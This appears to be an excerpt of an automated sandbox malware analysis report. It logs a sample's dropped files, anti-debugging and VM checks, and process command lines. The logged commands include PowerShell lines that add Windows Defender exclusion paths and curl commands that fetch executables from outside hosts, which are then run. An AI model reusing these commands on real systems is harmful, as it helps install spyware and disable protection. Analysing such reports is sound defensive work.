Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4349	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Window / User API: threadDelayed 4955	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Window / User API: threadDelayed 4852	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7773	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1803	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7675
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1907
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7496
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2007
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7051
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2577
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7275
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2438
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7317
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2311
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7705
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1758
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5860
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3819
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6868
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2845
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7870
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1772
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7871
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1569

Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-9U2JI.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\ssleay32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lame_enc.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{WCS1080F-FD66-4650-B1B8-C8310A1CE2D3}\ffws.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\WebBrowser.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-JVHDE.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\ff.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-HNNTE.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-1I5NJ.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\webbrowser.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-24VMR.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\libeay32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-H780M.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-NNSLF.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-67IFD.tmp	Jump to dropped file

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep

graph_71-37256

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe

API coverage: 7.6 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7796	Thread sleep count: 5421 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7800	Thread sleep count: 4349 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7888	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe TID: 8072	Thread sleep time: -28592453314249787s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe TID: 8140	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8064	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 964	Thread sleep count: 7773 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6052	Thread sleep count: 1803 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3580	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6364	Thread sleep count: 7675 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6364	Thread sleep count: 1907 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7396	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4668	Thread sleep count: 7496 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4668	Thread sleep count: 2007 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5996	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 768	Thread sleep count: 7051 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 908	Thread sleep count: 2577 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3580	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1872	Thread sleep count: 7275 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3568	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1824	Thread sleep count: 2438 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1888	Thread sleep count: 7317 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5728	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5216	Thread sleep count: 2311 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7208	Thread sleep count: 7705 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7208	Thread sleep count: 1758 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7900	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2768	Thread sleep count: 5860 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8096	Thread sleep count: 3819 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8148	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3712	Thread sleep count: 6868 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 180	Thread sleep count: 2845 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6204	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5384	Thread sleep count: 7870 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7616	Thread sleep count: 1772 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4024	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7572	Thread sleep count: 7871 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5932	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7572	Thread sleep count: 1569 > 30
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe TID: 7112	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\timeout.exe TID: 6684	Thread sleep count: 145 > 30
Source: C:\Windows\SysWOW64\timeout.exe TID: 6012	Thread sleep count: 52 > 30

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_ComputerSystem

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 56_2_0040AC68 FindFirstFileW,FindClose,	56_2_0040AC68
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 56_2_0040A700 lstrcpynW,lstrcpynW,lstrcpynW,FindFirstFileW,FindClose,lstrlenW,lstrcpynW,lstrlenW,lstrcpynW,	56_2_0040A700
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 56_2_033775E8 FindFirstFileA,	56_2_033775E8
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 56_2_033776C4 FindFirstFileA,GetLastError,	56_2_033776C4

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe

Code function: 56_2_033760F2 GetSystemInfo,

56_2_033760F2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Thread delayed: delay time: 922337203685477

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	File opened: C:\Users\user
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	File opened: C:\Users\user\AppData
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	File opened: C:\Users\user\AppData\Roaming
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft

Source: spkl.exe, 00000038.00000002.2726762987.000000000176E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll}}
Source: spmm.exe, 0000004D.00000002.2674132311.00000000007BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volum
Source: svchost.exe, 00000008.00000002.2690358497.0000027405654000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2679298985.000002740002B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: curl.exe, 0000000E.00000003.1613409560.0000000002D40000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000E.00000003.1613488405.0000000002D43000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllG
Source: spmm.exe, 0000004D.00000002.2674132311.00000000007BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: NETSTAT.EXE, 00000043.00000002.2458572520.0000000002DCA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll`
Source: [space]= .exe, 00000007.00000002.1804315913.00000000012AC000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000011.00000003.1867265165.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 00000047.00000002.2582806090.0000000000C58000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 00000049.00000002.2607715757.0000000001698000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 0000004B.00000002.2615599074.00000000014A8000.00000004.00000020.00020000.00000000.sdmp, spmm.exe, 0000004D.00000002.2674132311.00000000007BF000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 0000004E.00000002.2658435418.0000000000E18000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: spkl.exe, 00000038.00000002.2691175840.0000000001484000.00000040.00000001.01000000.00000014.sdmp	Binary or memory string: @@IdPORT_vmnet
Source: curl.exe, 00000006.00000003.1548833142.000001CE89185000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllRR

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Found API chain indicative of debugger detection

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe

Debugger detection routine: QueryPerformanceCounter, DebugActiveProcess, DecisionNodes, ExitProcess or Sleep

graph_71-37294

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe

Code function: 56_2_0339B8B0 rdtsc

56_2_0339B8B0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe

Code function: 71_2_0036119B SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_cexit,_amsg_exit,_initterm,exit,

71_2_0036119B

Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\183942631522663'"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\183942631522663'"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe'

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg query "HKU\S-1-5-19\Environment"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\183942631522663'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl.exe --insecure -o "C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe" https://filedn.com/lHeD6Etwo8g0FE5cMVwEMkH/56ysdvbdckuh27dqLygst354csjnd/404	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe "C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Remove-MpPreference -exclusionPath "C:\Users\user\AppData\Local\Temp\183942631522663"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878\\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg query "HKU\S-1-5-19\Environment"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878'"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl.exe --insecure --user-agent "sfk-dst-loader-2.0" -o "C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878\l" https://cdnbaynet.com/loader/link.php?prg_id=sfk	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl.exe --insecure --user-agent "sfk-dst-loader-2.0" -o "C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878\[space]= .exe" https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exe	Jump to behavior
